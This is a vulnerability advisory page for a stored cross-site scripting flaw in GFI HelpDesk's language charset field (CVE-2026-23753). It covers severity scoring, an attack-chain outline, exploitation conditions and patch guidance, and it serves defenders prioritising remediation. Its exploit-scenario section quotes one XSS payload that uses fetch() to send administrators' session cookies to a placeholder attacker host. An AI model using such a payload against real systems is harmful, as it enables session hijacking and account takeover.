Skip to main content

Helpdesk CVE-2026-23753

| EUVDEUVD-2026-23928 MEDIUM
Cross-site Scripting (XSS) (CWE-79)
2026-04-20 VulnCheck GHSA-xj4v-3q69-qpxx
4.8
CVSS 4.0 · NVD
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Obtain administrator credentials
  2. Delivery
    Access language management interface
  3. Exploit
    Inject XSS payload in charset field
  4. Install
    Payload stored in database
  5. C2
    Victim admin views Languages page
  6. Execute
    JavaScript executes in victim browser
  7. Impact
    Session hijacking or credential theft

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires a valid administrator account with access to the language management functionality in GFI HelpDesk. The attacker must have authentication credentials granting PR:H (high privilege) level access to the administrative interface. Additionally, at least one other administrator must view the Languages page for the payload to execute; the vulnerability does not provide access to the attacker's own browser but requires a separate administrator account to trigger the XSS. The default installation of GFI HelpDesk does not disable language management, so this feature is typically available in standard deployments.

Impact

CVSS 4.8 (Medium) with network vector, low complexity, and high privileges required (PR:H) reflects the moderate real-world risk. The CVSS vector indicates UI interaction required (UI:P), meaning an admin must view the Languages page for the payload to execute, and scope is changed (affects only other administrators, not the system itself). The high privilege requirement (administrator-only access) significantly limits the attack surface compared to unauthenticated XSS vulnerabilities. However, this represents a real insider threat and administrative compromise vector: a malicious or compromised administrator account can escalate their capabilities by injecting persistent scripts that execute in other admins' browsers, potentially enabling session hijacking, credential theft, or further system compromise. The stored nature of this XSS is more dangerous than reflected XSS because the payload persists and affects any admin viewing the Languages page, increasing exposure over time. No active exploitation has been identified in available data, and this appears to be a low-urgency but legitimate vulnerability affecting the administrative trust boundary.

Exploit ScenarioDerived

A malicious administrator or an attacker who has compromised an administrator account logs into GFI HelpDesk and navigates to the language management section. They create a new language or edit an existing one, injecting a JavaScript payload such as '<img src=x onerror="fetch('https://attacker.com/steal?cookie='+document.cookie)">' into the charset field. When other administrators view the Languages page, this stored payload executes in their browser, stealing session cookies or performing other malicious actions in their administrative context.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
Patch available 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Apr 20, 2026

GFI HelpDesk before version 4.99.9 contains a stored cross-site scripting vulnerability in language management where the charset POST parameter is not HTML-sanitized before being rendered by the View_Language.RenderGrid() function. An authenticated administrator can inject arbitrary JavaScript through the charset field when creating or editing a language, with the payload executing in the browsers of other administrators viewing the Languages page. This is a medium-risk vulnerability limited to authenticated administrators but affecting any admin viewer.

RemediationAI

Upgrade GFI HelpDesk to version 4.99.9 or later, which addresses the vulnerability by implementing proper input sanitization and output encoding in the language management functionality. Organizations unable to immediately patch should implement administrative access controls by restricting the language management permission to only trusted administrators and disabling the language management feature if not actively used. Additionally, regularly audit the Languages configuration page for any suspicious entries in the charset field and review administrative audit logs for unauthorized language creation or modification events. Apply Content Security Policy (CSP) headers with 'script-src self' to provide defense-in-depth against XSS execution, though this does not replace the primary patch fix.

Affected VersionsENISA

Helpdesk 0 <4.99.9

Affected Packages

euvd helpdesk fix: 4.99.9

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The vulnerability exists in GFI HelpDesk's language management functionality, specifically in the SWIFT_Language::Create() method which accepts user input from the charset POST parameter without applying HTML entity encoding or sanitization. The root cause is improper input validation and output encoding (CWE-79: Improper Neutralization of Input During Web Page Generation), a classic stored XSS flaw where untrusted data is stored in the application and later rendered without escaping. The charset parameter is intended for HTML character encoding specification but is processed as unsanitized user input. The vulnerability chain involves the administrative interface accepting language configuration data, storing it without sanitization, and then the View_Language.RenderGrid() rendering function outputting this data directly into the HTML response sent to other administrators, creating a persistent XSS payload that executes in their browser context.

Know when Helpdesk gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

NVD PRIMARY 4.8 MEDIUM
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N

Primary rating from NVD · only source for this CVE.

CVSS VectorNVD

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
High
User Interaction
Passive
Vulnerable system: Confidentiality
None
Vulnerable system: Integrity
None
Vulnerable system: Availability
None
Subsequent system: Confidentiality
Low
Subsequent system: Integrity
Low
Subsequent system: Availability
None

Lifecycle Timeline

2
Patch released
Apr 20, 2026 - 18:00 nvd
Patch available
CVE Published
Apr 20, 2026 - 17:33 nvd
MEDIUM 4.8

DescriptionCVE.org

GFI HelpDesk before 4.99.9 contains a stored cross-site scripting vulnerability in the language management functionality where the charset POST parameter is passed directly to SWIFT_Language::Create() without HTML sanitization and subsequently rendered unsanitized by View_Language.RenderGrid(). An authenticated administrator can inject arbitrary JavaScript through the charset field when creating or editing a language, and the payload executes in the browser of any administrator viewing the Languages page.

Threat Intelligence Overview

EPSS Score
0.0%
Top 92% exploitable
Social Media
1
Sightings
Data Quality
6 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.0%
Patch available Yes
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation
None
System Exposure· derived
Open
Automatable
No
Human Impact· derived
Medium
Technical Impact
Partial

Priority Score

24
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +24
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

CVE-2025-10655 HIGH POC
8.6 Dec 09

SQL injection in Frappe HelpDesk 1.14.0 dashboard functionality allows authenticated attackers to execute arbitrary SQL

CVE-2018-0714 CRITICAL
9.8 Aug 13

Command injection vulnerability in Helpdesk versions 1.1.21 and earlier in QNAP QTS 4.2.6 build 20180531, QTS 4.3.3 buil

CVE-2026-78434 MEDIUM POC
5.5 Aug 24

Unauthenticated actors can post ticket replies in Faveo Helpdesk versions 2.0.0 through 2.0.3 by sending crafted request

CVE-2020-11431 CRITICAL
9.1 May 07

The documentation component in i-net Clear Reports 16.0 to 19.2, HelpDesk 8.0 to 8.3, and PDFC 4.3 to 6.2 allows a remot

CVE-2021-28814 HIGH
8.8 Jun 11

An improper access control vulnerability has been reported to affect QNAP NAS. Rated high severity (CVSS 8.8), this vuln

CVE-2024-58343 MEDIUM POC
4.3 Apr 16

Vision Helpdesk before 5.7.0 (patched in 5.6.10) allows attackers to read user profiles via modified serialized cookie d

CVE-2024-50394 HIGH
7.7 Mar 07

An improper certificate validation vulnerability has been reported to affect Helpdesk. Rated high severity (CVSS 7.7), t

CVE-2020-2500 MEDIUM
6.5 Jul 01

This improper access control vulnerability in Helpdesk allows attackers to get control of QNAP Kayako service. Rated med

CVE-2026-23758 MEDIUM
6.4 Apr 20

GFI HelpDesk before version 4.99.9 allows authenticated staff members to inject persistent JavaScript into ticket subjec

CVE-2026-78435 LOW POC
2.0 Aug 24

Path traversal in Faveo Helpdesk versions 2.0.0 through 2.0.3 enables remote authenticated administrators to delete arbi

CVE-2026-23756 MEDIUM
5.1 Apr 20

Stored cross-site scripting in GFI HelpDesk before version 4.99.9 allows authenticated staff members to inject arbitrary

CVE-2026-23757 MEDIUM
5.1 Apr 20

Stored cross-site scripting in GFI HelpDesk before version 4.99.10 allows authenticated attackers to inject arbitrary Ja

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy